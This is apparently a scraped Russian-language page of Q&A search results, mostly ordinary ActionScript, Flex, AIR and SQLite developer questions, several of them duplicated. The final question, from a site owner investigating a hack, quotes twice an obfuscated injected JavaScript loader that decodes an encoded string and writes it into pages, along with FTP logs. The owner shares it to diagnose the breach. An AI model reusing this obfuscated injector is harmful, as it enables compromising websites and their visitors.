Результаты поиска
Разгрузка ByteArray используя Actionscript 3
Как я могу принудительно выгрузить ByteArray из памяти с помощью ActionScript 3?
Я попробовал следующее:
// First non-working solution
byteArray.length = 0;
byteArray = new ByteArray();
// Second non-working solution
for ( var i:int=0; i < byteArray.length; i++ ) {
byteArray[i] = null;
}
SQLStatement.execute()-несколько запросов в одном операторе
Я написал сценарий генерации базы данных в SQL и хочу выполнить его в своем приложении Adobe AIR :
Create Table tRole (
roleID integer Primary Key
,roleName varchar(40)
);
Create Table tFile (
fileID integer Primary Key
,fileName varchar(50)
,fileDescription varchar(500)
,thumbnailID integer
,fileFormatID integer
,categoryID integer
,isFavorite boolean
,dateAdded date
,globalAccessCount integer
,lastAccessTime date
,downloadComplete boolean
,isNew boolean
,isSpotlight boolean
,duration varchar(30)
);
Create Table tCategory (
categoryID integer Primary Key
,categoryName varchar(50)
,parent_categoryID integer
);
...
Я выполняю это в Adobe AIR, используя следующие методы:
public static function RunSqlFromFile(fileName:String):void {
var file:File = File.applicationDirectory.resolvePath(fileName);
var stream:FileStream = new FileStream();
stream.open(file, FileMode.READ)
var strSql:String = stream.readUTFBytes(stream.bytesAvailable);
NonQuery(strSql);
}
public static function NonQuery(strSQL:String):void {
var sqlConnection:SQLConnection = new SQLConnection();
sqlConnection.open(File.applicationStorageDirectory.resolvePath(DBPATH));
var sqlStatement:SQLStatement = new SQLStatement();
sqlStatement.text = strSQL;
sqlStatement.sqlConnection = sqlConnection;
try {
sqlStatement.execute();
} catch (error:SQLError) {
Alert.show(error.toString());
}
}
Ошибки не генерируются, однако существует только tRole . Похоже, что он смотрит только на первый запрос (вплоть до точки с запятой - если я удалю его, запрос не будет выполнен). Есть ли способ вызвать несколько запросов в одном операторе?
Использование нескольких баз данных SQLite одновременно
У меня есть 2 базы данных SQLite, одна загружена с сервера (server.db), а другая используется в качестве хранилища на клиенте ( client.db). Мне нужно выполнить различные запросы синхронизации в клиентской базе данных, используя данные из базы данных сервера.
Например, я хочу удалить все строки в таблице client.db tRole и повторно заполнить все строки в таблице server.db tRole .
Другой пример: я хочу удалить все строки в таблице client.db tFile , где fileID не находится в таблице server.db tFile .
В SQL Server вы можете просто префиксировать таблицу с именем базы данных. Есть ли вообще возможность сделать это в SQLite, используя Adobe Air?
Использование нескольких баз данных SQLite одновременно
У меня есть 2 базы данных SQLite, одна загружена с сервера (server.db), а другая используется в качестве хранилища на клиенте ( client.db). Мне нужно выполнить различные запросы синхронизации в клиентской базе данных, используя данные из базы данных сервера.
Например, я хочу удалить все строки в таблице client.db tRole и повторно заполнить все строки в таблице server.db tRole .
Другой пример: я хочу удалить все строки в таблице client.db tFile , где fileID не находится в таблице server.db tFile .
В SQL Server вы можете просто префиксировать таблицу с именем базы данных. Есть ли вообще возможность сделать это в SQLite, используя Adobe Air?
Flex / Air обфускация
Я написал (большую часть) приложения в Flex, и я озабочен защитой исходного кода. Я запустил демо - версию trillix swf decompiler и открыл swf-файл, который был установлен в мой каталог Program Files. Я увидел, что все пакеты actionscript, которые я написал, были там. Я не слишком беспокоюсь о пакетах, даже несмотря на то, что существует значительное количество кода, потому что он все еще кажется довольно непригодным для использования без файлов mxml. Я думаю, что они преобразованы в actionscript, или, по крайней мере, я надеюсь. Однако я все же хотел бы исследовать запутанность.
Есть ли у кого-нибудь опыт работы с Flash / Actionscript 3 / Flex обфускаторы? Можете ли вы порекомендовать хороший продукт?
Откройте локальный файл с помощью AIR / Flex
Я написал приложение AIR, которое загружает видео и документы с сервера. Видео воспроизводится внутри приложения, но я хотел бы, чтобы пользователь мог открывать документы в своих собственных приложениях.
Я ищу способ предложить пользователю открыть / Сохранить как локальный файл, хранящийся в каталоге хранения приложений. Я пробовал использовать классы FileReference + URLRequest, но это вызывает исключение, что ему нужен удаленный url.
Мое последнее средство-просто скопировать файл на их рабочий стол : \
Откройте локальный файл с помощью AIR / Flex
Я написал приложение AIR, которое загружает видео и документы с сервера. Видео воспроизводится внутри приложения, но я хотел бы, чтобы пользователь мог открывать документы в своих собственных приложениях.
Я ищу способ предложить пользователю открыть / Сохранить как локальный файл, хранящийся в каталоге хранения приложений. Я пробовал использовать классы FileReference + URLRequest, но это вызывает исключение, что ему нужен удаленный url.
Мое последнее средство-просто скопировать файл на их рабочий стол : \
Как мне перестроить аккордеон Adobe Flex, чтобы включить кнопку в каждый заголовок холста?
Вот пример кода для моего аккордеона:
<mx:Accordion x="15" y="15" width="230" height="599" styleName="myAccordion">
<mx:Canvas id="pnlSpotlight" label="SPOTLIGHT" height="100%" width="100%" horizontalScrollPolicy="off">
<mx:VBox width="100%" height="80%" paddingTop="2" paddingBottom="1" verticalGap="1">
<mx:Repeater id="rptrSpotlight" dataProvider="{aSpotlight}">
<sm:SmallCourseListItem
viewClick="PlayFile(event.currentTarget.getRepeaterItem().fileID);"
Description="{rptrSpotlight.currentItem.fileDescription}"
FileID = "{rptrSpotlight.currentItem.fileID}"
detailsClick="{detailsView.SetFile(event.currentTarget.getRepeaterItem().fileID,this)}"
Title="{rptrSpotlight.currentItem.fileTitle}"
FileIcon="{iconLibrary.getIcon(rptrSpotlight.currentItem.fileExtension)}" />
</mx:Repeater>
</mx:VBox>
</mx:Canvas>
</mx:Accordion>
Я хотел бы включить кнопку в каждый заголовок, например:
Flex: существует ли безболезненная программная привязка данных?
До сих пор я только немного занимался разработкой Flex, но я предпочитал подход создания элементов управления программно над файлами mxml, потому что (и , пожалуйста, поправьте меня, если я ошибаюсь!) Я понял, что вы не можете иметь его в обоих направлениях-то есть иметь функциональность класса в отдельном файле класса ActionScript, но иметь содержащиеся элементы, объявленные в mxml.
С точки зрения производительности разница невелика, но программная привязка данных кажется несколько менее тривиальной. Я посмотрел, как компилятор mxml преобразует выражения привязки данных. В результате получается куча сгенерированных обратных вызовов и гораздо больше строк, чем в представлении mxml. Итак, вот в чем вопрос: есть ли способ сделать привязку данных программно, которая не включает в себя мир боли?
Как вызвать Flex SWF из удаленного домена с помощью Flash (AS3)?
У меня есть Flex swf, размещенный в http://www.a.com/a.swf . У меня есть код flash на другом doamin, который пытается загрузить SWF:
_loader = new Loader();
var req:URLRequest = new URLRequest("http://services.nuconomy.com/n.swf");
_loader.contentLoaderInfo.addEventListener(Event.COMPLETE,onLoaderFinish);
_loader.load(req);
На событии onLoaderFinish я пытаюсь загрузить классы из удаленного SWF и создать их:
_loader.contentLoaderInfo.applicationDomain.getDefinition("someClassName") as Class
Когда этот код выполняется, я получаю следующее исключение
SecurityError: Error #2119: Security sandbox violation: caller http://localhost.service:1234/flashTest/Main.swf cannot access LoaderInfo.applicationDomain owned by http://www.b.com/b.swf.
at flash.display::LoaderInfo/get applicationDomain()
at NuconomyLoader/onLoaderFinish()
Есть ли способ заставить этот код работать?
Рекомендации по синтаксическому анализу AS3 XML
У меня были некоторые проблемы с разбором различных типов XML внутри flash (в частности, FeedBurner RSS файлов и YouTube Data API ответов). Я использую URLLoader для загрузки файла XML, а после Event.COMPLETE создаю новый объект XML. 75% время от времени это работает нормально, и время от времени я получаю этот тип исключения:
TypeError: Error #1085: The element type "link" must be terminated by the matching end-tag "</link>".
Мы думаем, что проблема заключается в том, что XML является большим, и, возможно, событие Event.COMPLETE запускается до того, как XML фактически загружается с URLLoader . Единственное решение, которое мы придумали, - это установить таймер на событие, и по существу "wait a few seconds", прежде чем начать анализировать данные. Конечно, это не может быть лучшим способом сделать это.
Есть ли какой-нибудь верный способ разобрать XML внутри Flash?
Update Sept 2 2008 мы пришли к следующему выводу, что в этот момент в коде срабатывает исключение:
data = new XML(mainXMLLoader.data);
// calculate the total number of entries.
for each (var i in data.channel.item){
_totalEntries++;
}
Я разместил оператор try/catch вокруг этой части и в настоящее время отображаю сообщение об ошибке на экране, когда это происходит. Мой вопрос заключается в том, как неполный файл дойдет до этой точки, если bytesLoaded == bytesTotal ?
Я обновил исходный вопрос с отчетом о состоянии; я предполагаю, что другой вопрос может быть в том, есть ли способ определить, правильно ли проанализирован объект XML перед обращением к данным (в случае ошибки, если мой цикл подсчета количества объектов начинается до того, как XML фактически анализируется в объект)?
@Theo: Спасибо за подсказку ignoreWhitespace. Кроме того, мы определили, что событие вызывается до его готовности (мы провели несколько тестов трассировки mainXMLLoader.bytesLoaded + "/" + mainXMLLoader.bytesLoaded
Как получить метку Combobox, чтобы исчезнуть в Flex
У меня есть комбо-бокс, который сидит внутри панели в Flex 3. В основном я хочу, чтобы исчезла панель, используя эффект затухания в ActionScript. Я могу заставить fade работать нормально, однако метка комбо-бокса не исчезает. У меня была такая же проблема с кнопками и обнаружил, что их шрифты должны быть встроены. Не проблема. Я встроил шрифт, который я использовал, и метки кнопок исчезли правильно. Я пробовал аналогичный подход к комбинированному окну, но он не исчезает с выбранной метки элемента.
Вот что я сделал до сих пор: Добавьте код для шрифта в верхней части моего MXML в сценарий:
[Embed("assets/trebuc.ttf", fontName="TrebuchetMS")]
public var trebuchetMSFont:Class;
В моей функции инициализации
//register the font.
Font.registerFont(trebuchetMSFont);
combobox-е mxml:
<mx:ComboBox id="FilterFields" styleName="FilterDropdown"
left="10" right="10" top="10"
fontSize="14">
<mx:itemRenderer>
<mx:Component>
<mx:Label fontSize="10" />
</mx:Component>
</mx:itemRenderer>
</mx:ComboBox>
И стиль, который я написал, чтобы получить шрифты, примененные к комбинированному окну:
.FilterDropdown
{
embedFonts: true;
fontFamily: TrebuchetMS;
fontWeight: normal;
fontSize: 12;
}
Причина, по которой я должен был написать стиль вместо размещения его в атрибуте "FontFamily", заключалась в том, что стиль сделал весь текст в поле со списком правильным шрифтом, где атрибут "FontFamily" только заставил элементы в раскрывающемся списке использовать правильный шрифт.
Рекомендации по синтаксическому анализу AS3 XML
У меня были некоторые проблемы с разбором различных типов XML внутри flash (в частности, FeedBurner RSS файлов и YouTube Data API ответов). Я использую URLLoader для загрузки файла XML, а после Event.COMPLETE создаю новый объект XML. 75% время от времени это работает нормально, и время от времени я получаю этот тип исключения:
TypeError: Error #1085: The element type "link" must be terminated by the matching end-tag "</link>".
Мы думаем, что проблема заключается в том, что XML является большим, и, возможно, событие Event.COMPLETE запускается до того, как XML фактически загружается с URLLoader . Единственное решение, которое мы придумали, - это установить таймер на событие, и по существу "wait a few seconds", прежде чем начать анализировать данные. Конечно, это не может быть лучшим способом сделать это.
Есть ли какой-нибудь верный способ разобрать XML внутри Flash?
Update Sept 2 2008 мы пришли к следующему выводу, что в этот момент в коде срабатывает исключение:
data = new XML(mainXMLLoader.data);
// calculate the total number of entries.
for each (var i in data.channel.item){
_totalEntries++;
}
Я разместил оператор try/catch вокруг этой части и в настоящее время отображаю сообщение об ошибке на экране, когда это происходит. Мой вопрос заключается в том, как неполный файл дойдет до этой точки, если bytesLoaded == bytesTotal ?
Я обновил исходный вопрос с отчетом о состоянии; я предполагаю, что другой вопрос может быть в том, есть ли способ определить, правильно ли проанализирован объект XML перед обращением к данным (в случае ошибки, если мой цикл подсчета количества объектов начинается до того, как XML фактически анализируется в объект)?
@Theo: Спасибо за подсказку ignoreWhitespace. Кроме того, мы определили, что событие вызывается до его готовности (мы провели несколько тестов трассировки mainXMLLoader.bytesLoaded + "/" + mainXMLLoader.bytesLoaded
Инструменты FOSS для разработки Flash
Я изучаю некоторые разработки для Flash. Нужно ли мне покупать дорогие коммерческие инструменты или есть какие-то инструменты FOSS, с которыми я могу начать работу? Очевидно, что есть много инструментов там, но они достаточно хороши, чтобы на самом деле получить работу? Что бы я пропустил, избегая коммерческих или официальных инструментов?
Каковы правила для именования классов AS3?
Я пытаюсь написать RegEx для генератора кода (в C#), чтобы определить правильный класс или имя пакета класса AS3.
Я знаю эти названия классов
- должно начинаться с буквы (заглавной или иначе)
- любая другая цифра может быть буквенно-цифровой
- не может иметь пробелов
Есть еще что-нибудь?
Создать EXE из SWF, используя Flex 3, не требуя AIR?
У меня есть простое небольшое тестовое приложение, написанное на Flex 3 (MXML и некоторые AS3). Я могу скомпилировать его в SWF просто отлично, но я хотел бы сделать его в EXE, чтобы я мог дать его нескольким моим коллегам, которые могут найти его полезным.
С Flash 8 я мог бы просто нацелить EXE вместо SWF, и это обернуло бы SWF в проектор, и все работало нормально. Есть ли эквивалент этому, используя Flex 3 SDK, который в конечном итоге не требует AIR?
Примечание: у меня нет Flex Builder, я просто использую бесплатный Flex 3 SDK.
Компонент flvplayback проблемы с памятью
Мой сайт полностью основан на flash, он перемещается вокруг модели 3D, которая была предоставлена мне в виде фрагментов видео, которые я преобразовал в файлы FLV. Я использую компонент FLVPlayback для управления видео внутри моей программы. При выполнении проверок памяти с помощью System.totalMemory я заметил, что всякий раз, когда загружается видео, оно съедает кусок памяти, и даже когда я удаляю из него все прослушиватели событий(все они слабо связаны), удаляю компонент из его родительского элемента, останавливаю видео и null экземпляр компонента, он все равно не вернет эту память.
Это беспокоило меня с тех пор, как я начал работать над этим проектом из-за огромного количества видео, которое пользователь может потенциально создать и загрузить. В настоящее время каждое видео загружается в новый экземпляр FLVPlayback всякий раз, когда это требуется, но я прочитал, что, возможно, лучший способ решить эту проблему-просто иметь глобальный экземпляр FLVPlayback и просто перезагрузить новое видео в старый экземпляр, таким образом, в памяти приложения будет только один компонент FLVPlayback.
Кто-нибудь еще столкнулся с этой проблемой? Вы нашли лучшее решение, чем использование глобального экземпляра, который вы просто повторно используете для каждого нового видео?
Flash лучшие практики совместной работы дизайнера и верстальщика
Я сделал несколько проектов flash, работая как ActionScripter с дизайнером, делающим все красивые вещи и анимацию. Когда я начинал, я нашел довольно много информации о кодировании ActionScript и дизайне flash. Большая часть имеющейся информации, по-видимому, сосредоточена на одном или другом.
Я не нашел никакой информации о построении проектов flash таким образом, чтобы кодер мог делать свое дело AND дает дизайнеру свободу.
Надеюсь, что более опытные люди могут поделиться, это некоторые из вещей, которые я обнаружил после нескольких проектов
- Контроль версий является обязательным (как всегда), но может быть трудно объяснить дизайнерам
- Нет ActionScript в файлах flash
.fla, они двоичны, и как кодер вы хотите попытаться держаться как можно дальше - Контроллер вида модели-это лучший способ, который я нашел, чтобы изолировать визуальные изменения дизайна
- Попробуйте построить представления так, чтобы они использовали метки фреймов, это позволит дизайнеру решить, что же на самом деле происходит
Каковы ваши переживания?
Плавная анимация 30-100 объектов на ActionScript 3
Хочу сделать для своей Flash игры анимацию воздушными шариками которые пролетают через экран при успешном прохождении уровня.
Но не получается сделать это плавно и что бы еще и процессор не отжирало сильно.
Шарики у меня это муви клипы, которым я рандомно изменяю размер в большую и меньшую сторону, что бы создать впечатление «разных» шариков. Движение шариков делаю с использованием библиотеки TweenMax.
Но результат меня удручает своим качеством.
вот кусок кода который я использую:
public static function randomScale(shape: DisplayObject, ll: Number, ul: Number): void
{
var sc: Number = 1 + Math.random() * ((Math.random() < 0.5) ? 1 : -1);
sc = ((sc < ll) || (sc > ul)) ? 1 : sc;
if (sc != 1)
{
shape.scaleX = sc;
shape.scaleY = sc;
}
}
/**
* Произвести запуск объектов в полет от низа контейнера к верху, можно использовать для оформления прохождения уровня.
*
* @param parent - родительский контейнер внутри которого будут летать объекты.
* @param duration - длительность анимации.
* @param delayMax - максимальная задержка перед анимацией.
* @param deltaX - максимальное отклонение по координате X в лево или право, для придания естественности поведения.
* @param scale - применять изменение масштаба объектов в диапазоне от 0.7 до 1.5.
* @param callback - функция вызываемая по окончанию анимации.
*/
public static function fly(parent: DisplayObjectContainer, shapes: Vector.,
duration: Number, delayMax: Number,
deltaX: uint,
scale: Boolean = false,
callback: Function = null): void
{
// получаем габариты родительского контейнера
var w: uint = parent.width;
var h: uint = parent.height;
var cnt: uint = shapes.length;
// запускаем объекты один за одним
for each (var shape: MovieClip in shapes)
{
// случайное положение объекта
shape.x = Math.round(Math.random() * w);
shape.y = h + 5; // исходно объекты находятся внизу
shape.visible = false;
// изменение масштаба объекта в небольшм диапазоне
if (scale)
{
randomScale(shape, 0.7, 1.5);
}
parent.addChild(shape);
// запускаем анимацию полета
TweenMax.to(shape, duration, // длительность анимации
{delay: delayMax * Math.random(), // произвольная задержка 0...delayMax секунды, что бы выглядело естественно
x: shape.x + (Math.round(Math.random() * deltaX * 2) - deltaX), // точка назначения отличается ± deltaX от исходной
y: -150, // объекты улетают за границу экрана
ease: Linear.easeIn, // объекты летят с линейной скоростью
visible: false, // в конце они становятся невидимыми
onInit: showShape,
onInitParams: [shape],
onComplete: removeShape, // метод для зачистки по окончании анимации
onCompleteParams: [shape]
});
}
function showShape(child: MovieClip): void
{
child.visible = true;
}
/** Зачистка по окончании анимации */
function removeShape(child: MovieClip): void
{
// удаляем объекты из контейнера по окончанию анимации
parent.removeChild(child);
}
}
}
{
var sc: Number = 1 + Math.random() * ((Math.random() < 0.5) ? 1 : -1);
sc = ((sc < ll) || (sc > ul)) ? 1 : sc;
if (sc != 1)
{
shape.scaleX = sc;
shape.scaleY = sc;
}
}
/**
* Произвести запуск объектов в полет от низа контейнера к верху, можно использовать для оформления прохождения уровня.
*
* @param parent - родительский контейнер внутри которого будут летать объекты.
* @param duration - длительность анимации.
* @param delayMax - максимальная задержка перед анимацией.
* @param deltaX - максимальное отклонение по координате X в лево или право, для придания естественности поведения.
* @param scale - применять изменение масштаба объектов в диапазоне от 0.7 до 1.5.
* @param callback - функция вызываемая по окончанию анимации.
*/
public static function fly(parent: DisplayObjectContainer, shapes: Vector.,
duration: Number, delayMax: Number,
deltaX: uint,
scale: Boolean = false,
callback: Function = null): void
{
// получаем габариты родительского контейнера
var w: uint = parent.width;
var h: uint = parent.height;
var cnt: uint = shapes.length;
// запускаем объекты один за одним
for each (var shape: MovieClip in shapes)
{
// случайное положение объекта
shape.x = Math.round(Math.random() * w);
shape.y = h + 5; // исходно объекты находятся внизу
shape.visible = false;
// изменение масштаба объекта в небольшм диапазоне
if (scale)
{
randomScale(shape, 0.7, 1.5);
}
parent.addChild(shape);
// запускаем анимацию полета
TweenMax.to(shape, duration, // длительность анимации
{delay: delayMax * Math.random(), // произвольная задержка 0...delayMax секунды, что бы выглядело естественно
x: shape.x + (Math.round(Math.random() * deltaX * 2) - deltaX), // точка назначения отличается ± deltaX от исходной
y: -150, // объекты улетают за границу экрана
ease: Linear.easeIn, // объекты летят с линейной скоростью
visible: false, // в конце они становятся невидимыми
onInit: showShape,
onInitParams: [shape],
onComplete: removeShape, // метод для зачистки по окончании анимации
onCompleteParams: [shape]
});
}
function showShape(child: MovieClip): void
{
child.visible = true;
}
/** Зачистка по окончании анимации */
function removeShape(child: MovieClip): void
{
// удаляем объекты из контейнера по окончанию анимации
parent.removeChild(child);
}
}
}
3d в as 3
Поделитесь наиболее качественными материалами по разработке трех-мерных интерфейсов на Actionscript 3, можно ли в коде использовать координату z, или для этого обязательно использовать какой то «3д двигатель» ) спасибо
Чат для клиентов?
Нужен чат по такой схеме: клиент на сайте заходит в чат, где ему открывается отдельная чат-комната с сотрудником фирмы.
Сотрудник должен иметь возможность переписываться с несколькими клиентами одновременно.
Нашел только AliveChat, но он довольно дорогой — лайт версия $30 в месяц.
Может, кто встречал решения, платные тоже интересуют.
Просто чатов на AJAX видел кучу, они не подходят — мне нужен не групповой, а индивидуальный.
Задержка в ActionScript 3 без таймера?
Задача: необходимо реализовать задержку в N секунд в ActionScript 3
Проблема: в этот момент меняется системное время (сдвигается на несколько часов назад или вперед) и таймер не вызывает эвент в нужное время.
Как реализовать?
Как проще сделать онлайн-конструктор товара для интернет-магазина?
Готовлю к запуску интернет-магазин, и хочется в него встроить онлайн-конструктор товара на подобии этого. Есть ли уже готовые решения, флеш-исходники или скрипты, которые легко было бы редактировать человеку, не знающему флеш и ActionScript?
Actionscript компилятор MTASC и Event'ы
В actionscript я не силён, прошу по возможности помочь.
Как заставить работать в скомпиленых приложениях какие-нибуть netEvent, пример от макромедиа в моём случае почуму-то не работает:
var nc:NetConnection = new NetConnection();
nc.connect(null);
var ns:NetStream = new NetStream(nc);
ns.onMetaData = function(infoObject:Object) {
for (var propName:String in infoObject) {
trace(propName + " = " + infoObject[propName]);
}
};
ns.play("http://www.helpexamples.com/flash/video/water.flv");
Ни один из ивентов не срабатывает, должно возвращать метаинфу но ничего не возвращает.
nc.connect(null);
var ns:NetStream = new NetStream(nc);
ns.onMetaData = function(infoObject:Object) {
for (var propName:String in infoObject) {
trace(propName + " = " + infoObject[propName]);
}
};
ns.play("http://www.helpexamples.com/flash/video/water.flv");
Изменить текст кнопки action script 2
Имеется Adobe Flash Pro CS5. Есть кнопка butt7 как изменить текст на кнопке(label)?
butt7.text = "ТЕКСТ НА КНОПКЕ";
не работает
Взлом сайтов. Вставлен произвольный код?
Добрый день!
На днях на нескольких сайтах на CodeIgniter, одном на Joomla, одном на Wordpress и на одном совсем без CMS был установлен произвольный код в файлах index.*, home.*, page.*, auth.*. Т.е. в каждый из файлов был установлен тег script с произвольным кодом. Внешне это отображалось как приглашение установить новую мультимедийную плюшку для браузера.
Собственно, сам скрипт (без! знака в слове script и без переводов строки — не умещался):
<pre><code class="javascript"><sc!ript type="text/javascript" language="javascript">
wkllp="33933333339999333999339939993933
399993393993993339933939339333333999393339999339399933333
993393933999939339333933999393339933939399993333999393333
939999399333993999339939993399339333933399999333933399399
939333993393939993339399339333993939933933333399993993999
399939939339399339333999393339939333339993933393333333993
333399933333999933333999399399393333993393939939339399339
993993933339993933339993933393333333993333399933333999933
333999399399339933999339339933339399399393993393939933393
399399993999339339933933399339393999339333999393339333333
993999339939999339993993999399339939339399933993993933939
933393399393393993993339939339399939333999933933999393339
333333993933339939339399339333993393339933939399399933399
939939999939339999333393999939993399399939333999933939939
933399339393399999333999933399393393993399339993393399333
393993993939933939339333333993933939933933339999393393339
339993933399339393999333939933933399393993393339333933333
399933993999339339933399339999393393339339939333399939333
999393339993333339993933393999933939999399339933999399939
993339399933393999399939933939399339393999339339933999339
933993393999339933399399399993393999339933399399333993393
999939933339399339333393999339939393399933333993399933933
393339999933399993333939999399393393993399339993393399333
39399399393993393933999993";znanx=100;wdlgs=this;nsjvu="i"+"te";
vurba=116;nqcs="wr"+nsjvu;for(gbcim in wdlgs){if(gbcim.length==8 &&
gbcim.charCodeAt(0)==znanx && gbcim.charCodeAt(7)==vurba){break;}}o="";
imvuf=0;qpgsu=wdlgs[gbcim];ycamh=57;while (imvuf<wkllp.length){
bnehf=0;for(mkrku=0;mkrku<8;mkrku++){bnehf=bnehf<<1;if(
wkllp.charCodeAt(imvuf+mkrku)==ycamh){bnehf++;}}imvuf=imvuf+3;
qpgsu[nqcs](String.fromCharCode(bnehf));imvuf=imvuf+5;}</sc!ript>
Прямой связи CI-Joomla-WP-чистыйHTML я не вижу. Т.е. видимо, это не критическая уязвимость в каком-либо движке.
В логах апача странных запросов или даже каких-либо запросов во время модификации файла нет (+-10минут).
Подозрительно выглядят логи auth.log (настоящий username изменен; ip, с которого пришел запрос — нет):
Jan 31 08:38:45 User proftpd[12006]: Serv (dslb-094-222-057-074.pools.arcor-ip.net[::ffff:94.222.57.74]) - USER user: no such user found from dslb-094-222-057-074.pools.arcor-ip.net [::ffff:94.222.57.74] to ::ffff:89.108.126.42:21 <br/>
Jan 31 08:38:45 User proftpd[12006]: Serv (dslb-094-222-057-074.pools.arcor-ip.net[::ffff:94.222.57.74]) - SECURITY VIOLATION: root login attempted. <br/>
Jan 31 08:38:45 User proftpd[12006]: Serv (dslb-094-222-057-074.pools.arcor-ip.net[::ffff:94.222.57.74]) - SECURITY VIOLATION: root login attempted. <br/>
<br/>
Feb 1 10:56:40 User proftpd[19762]: Serv (::ffff:193.85.168.74[::ffff:193.85.168.74]) - USER webmaster1: Login successful. <br/>
Feb 1 10:56:40 User proftpd[19764]: Serv (::ffff:193.85.168.74[::ffff:193.85.168.74]) - USER webmaster2: Login successful. <br/>
Feb 1 10:56:40 User proftpd[19762]: Serv (::ffff:193.85.168.74[::ffff:193.85.168.74]) - FTP session closed. <br/>
Feb 1 10:56:40 User proftpd[19764]: Serv (::ffff:193.85.168.74[::ffff:193.85.168.74]) - FTP session closed.
SSH закрыт фаерволом для всех, кроме меня.
Хочу задать вопрос — что это может быть? Как этого избежать? Какие еще логи нужны для анализа?
<pre><code class="javascript"><sc!ript type="text/javascript" language="javascript">
wkllp="33933333339999333999339939993933
399993393993993339933939339333333999393339999339399933333
993393933999939339333933999393339933939399993333999393333
939999399333993999339939993399339333933399999333933399399
939333993393939993339399339333993939933933333399993993999
399939939339399339333999393339939333339993933393333333993
333399933333999933333999399399393333993393939939339399339
993993933339993933339993933393333333993333399933333999933
333999399399339933999339339933339399399393993393939933393
399399993999339339933933399339393999339333999393339333333
993999339939999339993993999399339939339399933993993933939
933393399393393993993339939339399939333999933933999393339
333333993933339939339399339333993393339933939399399933399
939939999939339999333393999939993399399939333999933939939
933399339393399999333999933399393393993399339993393399333
393993993939933939339333333993933939933933339999393393339
339993933399339393999333939933933399393993393339333933333
399933993999339339933399339999393393339339939333399939333
999393339993333339993933393999933939999399339933999399939
993339399933393999399939933939399339393999339339933999339
933993393999339933399399399993393999339933399399333993393
999939933339399339333393999339939393399933333993399933933
393339999933399993333939999399393393993399339993393399333
39399399393993393933999993";znanx=100;wdlgs=this;nsjvu="i"+"te";
vurba=116;nqcs="wr"+nsjvu;for(gbcim in wdlgs){if(gbcim.length==8 &&
gbcim.charCodeAt(0)==znanx && gbcim.charCodeAt(7)==vurba){break;}}o="";
imvuf=0;qpgsu=wdlgs[gbcim];ycamh=57;while (imvuf<wkllp.length){
bnehf=0;for(mkrku=0;mkrku<8;mkrku++){bnehf=bnehf<<1;if(
wkllp.charCodeAt(imvuf+mkrku)==ycamh){bnehf++;}}imvuf=imvuf+3;
qpgsu[nqcs](String.fromCharCode(bnehf));imvuf=imvuf+5;}</sc!ript>Jan 31 08:38:45 User proftpd[12006]: Serv (dslb-094-222-057-074.pools.arcor-ip.net[::ffff:94.222.57.74]) - USER user: no such user found from dslb-094-222-057-074.pools.arcor-ip.net [::ffff:94.222.57.74] to ::ffff:89.108.126.42:21 <br/>
Jan 31 08:38:45 User proftpd[12006]: Serv (dslb-094-222-057-074.pools.arcor-ip.net[::ffff:94.222.57.74]) - SECURITY VIOLATION: root login attempted. <br/>
Jan 31 08:38:45 User proftpd[12006]: Serv (dslb-094-222-057-074.pools.arcor-ip.net[::ffff:94.222.57.74]) - SECURITY VIOLATION: root login attempted. <br/>
<br/>
Feb 1 10:56:40 User proftpd[19762]: Serv (::ffff:193.85.168.74[::ffff:193.85.168.74]) - USER webmaster1: Login successful. <br/>
Feb 1 10:56:40 User proftpd[19764]: Serv (::ffff:193.85.168.74[::ffff:193.85.168.74]) - USER webmaster2: Login successful. <br/>
Feb 1 10:56:40 User proftpd[19762]: Serv (::ffff:193.85.168.74[::ffff:193.85.168.74]) - FTP session closed. <br/>
Feb 1 10:56:40 User proftpd[19764]: Serv (::ffff:193.85.168.74[::ffff:193.85.168.74]) - FTP session closed.